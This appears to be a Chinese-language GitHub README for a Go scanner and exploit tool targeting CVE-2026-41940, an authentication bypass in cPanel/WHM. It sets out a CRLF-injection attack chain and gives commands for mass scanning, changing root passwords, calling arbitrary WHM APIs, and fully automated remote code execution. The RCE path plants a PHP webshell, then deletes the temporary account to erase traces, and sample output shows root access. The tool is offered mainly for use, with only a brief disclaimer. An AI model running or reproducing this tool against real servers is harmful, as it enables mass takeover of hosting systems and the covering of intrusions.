Kagantua/cPanelWHM-AuthBypass
GitHub: Kagantua/cPanelWHM-AuthBypass
针对 CVE-2026-41940 cPanel/WHM 认证绕过漏洞的 Go 语言检测与利用工具,覆盖从批量扫描到远程命令执行的全攻击链。
Stars: 7 | Forks: 5
# cPanel/WHM Auth Bypass Scanner & Exploit Tool
基于 [watchTowr](https://github.com/watchTowr) 的 Python PoC 重写的 Go 命令行工具,用于检测和利用 **CVE-2026-41940** cPanel/WHM 认证绕过漏洞。
## 漏洞概述
CVE-2026-41940 是 cPanel/WHM 的认证绕过漏洞,攻击链通过 CRLF 注入 Basic Auth 头部,泄露安全令牌并获取 WHM root 权限。
**4 阶段攻击链:**
1. **预认证** — 向 `/login/` 发送错误凭据,获取原始 `whostmgrsession` cookie
2. **CRLF 注入** — 通过 `Authorization: Basic` 头注入换行符,诱使服务器在 307 重定向的 `Location` 头中泄露 `cpsess` 安全令牌
3. **令牌传播** — 触发 `do_token_denied` 将注入的认证数据从原始存储传播到缓存
4. **权限验证** — 使用泄露的令牌访问 `/json-api/version`,验证是否获得 root 权限
## 功能特性
- **批量扫描** — 从文件批量检测目标,并发执行
- **单目标检测** — 指定单个 URL 快速验证
- **URL 智能处理** — 自动兼容 `http://`、`https://`、无协议格式,自动去重
- **漏洞利用**
- 修改 root 密码 (`-passwd`)
- 调用任意 WHM API (`-api`)
- 生成一键登录 URL (`-session`)
- 远程命令执行 / RCE (`-cmd`)
- **终端高亮** — `[VULN]` 红色、`[SAFE]` 绿色高亮显示
- **结果保存** — 漏洞 URL 自动保存到文件
## 编译
# 需要 Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
## 使用方法
### 参数一览
| 参数 | 说明 | 示例 |
|------|------|------|
| `-u` | 单个目标 URL | `-u https://1.2.3.4:2087` |
| `-f` | 包含 URL 列表的文件 | `-f targets.txt` |
| `-o` | 输出文件路径 (默认 `result.txt`) | `-o vuln.txt` |
| `-c` | 并发数 (默认 10) | `-c 20` |
| `-hostname` | 手动指定 Host 头 (默认自动发现) | `-hostname cpanel.example.com` |
| `-passwd` | 修改 root 密码 (仅 `-u` 模式) | `-passwd NewP@ss123` |
| `-api` | 调用 WHM API 函数 (仅 `-u` 模式) | `-api listaccts` |
| `-api-params` | WHM API 参数,逗号分隔 | `-api-params user=root,password=123` |
| `-session` | 生成 root 一键登录 URL (仅 `-u` 模式) | `-session` |
| `-keep` | 保留 RCE 临时账户不删除 (配合 `-cmd`) | `-keep` |
| `-cmd` | 执行远程命令 / RCE (仅 `-u` 模式) | `-cmd "id"` |
### 1. 单目标检测
./cpanel-checker -u https://target:2087
端口默认为 `2087`,以下写法等价:
./cpanel-checker -u https://target
./cpanel-checker -u target
### 2. 批量扫描
./cpanel-checker -f targets.txt -c 20
`targets.txt` 支持以下格式(每行一个,`#` 开头为注释):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# 这是注释
- 自动去重:`http://1.1.1.1` 与 `https://1.1.1.1` 视为同一目标,只扫描一次
- 无协议地址自动补全为 `https://`
- 无端口地址自动使用 `2087`
- 结果保存到 `result.txt`(可通过 `-o` 自定义)
### 3. 修改 root 密码
./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
### 4. 调用任意 WHM API
# 列出所有账户
./cpanel-checker -u https://target:2087 -api listaccts
# 带参数调用
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
### 5. 生成一键登录 URL
./cpanel-checker -u https://target:2087 -session
输出一个 URL,浏览器打开即可进入 WHM 管理面板。在面板中使用 **Terminal** 功能可获取交互式 root shell。
### 6. 远程命令执行 (RCE)
./cpanel-checker -u https://target:2087 -cmd "id"
加上 `-keep` 可保留临时账户,用于登录 cPanel 后台:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
使用 `-keep` 后输出会包含临时账户的用户名、密码和 cPanel 登录地址(`https://host:2083`),直接用这些凭据即可登录 cPanel 面板。
`-cmd` 是**全自动**的,无需其他手动操作。内部流程:
1. 利用认证绕过获取 root 权限
2. 通过 WHM API 创建临时 cPanel 账户
3. 通过 UAPI (`Fileman::save_file_content`) 写入 PHP shell 到 `~/public_html/`
4. 通过 HTTP 访问 `https://host/~tmpuser/shell.php` 执行命令
5. 返回命令输出
6. 自动删除临时账户 (清理痕迹)
### 7. 组合使用
多个利用参数可同时使用:
# 同时获取登录URL、执行命令、修改密码
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
### 8. 手动指定 Host 头
当目标 IP 与 cPanel 配置的主机名不一致时,可手动指定:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
默认情况下工具会通过 `/openid_connect/cpanelid` 的 307 重定向自动发现正确的主机名。
## 输出示例
### 批量扫描
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== 扫描完成 ==========
总计: 5 | 存在漏洞: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] 结果已保存到 result.txt
### RCE 执行
[*] 目标: https://target:2087
[*] 模式: 漏洞利用
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] 已获取 WHM root 权限
[*] 执行远程命令 (RCE)...
[a] 创建临时账户: tmpabcde
[b] 写入 shell: /home/tmpabcde/public_html/random.php
[c] 执行命令: id
[d] 清理临时账户: tmpabcde
[+] 命令输出:
uid=0(root) gid=0(root) groups=0(root)
[+] 完成。https://target:2087 已被控制
## 注意事项
- 利用参数 (`-passwd`、`-api`、`-session`、`-cmd`) 仅在 `-u` 单目标模式下可用,不支持 `-f` 批量模式
- 工具默认跳过 TLS 证书验证
- 请求超时为 15 秒
- URL 文件中 `#` 开头的行会被忽略
## 免责声明
本工具仅供**授权安全测试和研究**使用。未经授权对系统进行测试属于违法行为。使用者应确保已获得目标系统所有者的明确书面授权。作者不对任何滥用行为承担责任。
## 致谢
- 原始 PoC: [watchTowr](https://github.com/watchTowr) / [Sina Kheirkhah (@SinSinology)](https://twitter.com/SinSinology)
- CVE: CVE-2026-41940
标签:CISA项目, cPanel, CRLF注入, CVE-2026-41940, EVTX分析, Exploit, Go语言, meg, PoC, RCE, Web安全, WHM, 信息安全, 协议分析, 攻击路径可视化, 日志审计, 暴力破解, 权限提升, 程序破解, 网络安全, 蓝队分析, 认证绕过, 远程命令执行, 隐私保护, 黑客工具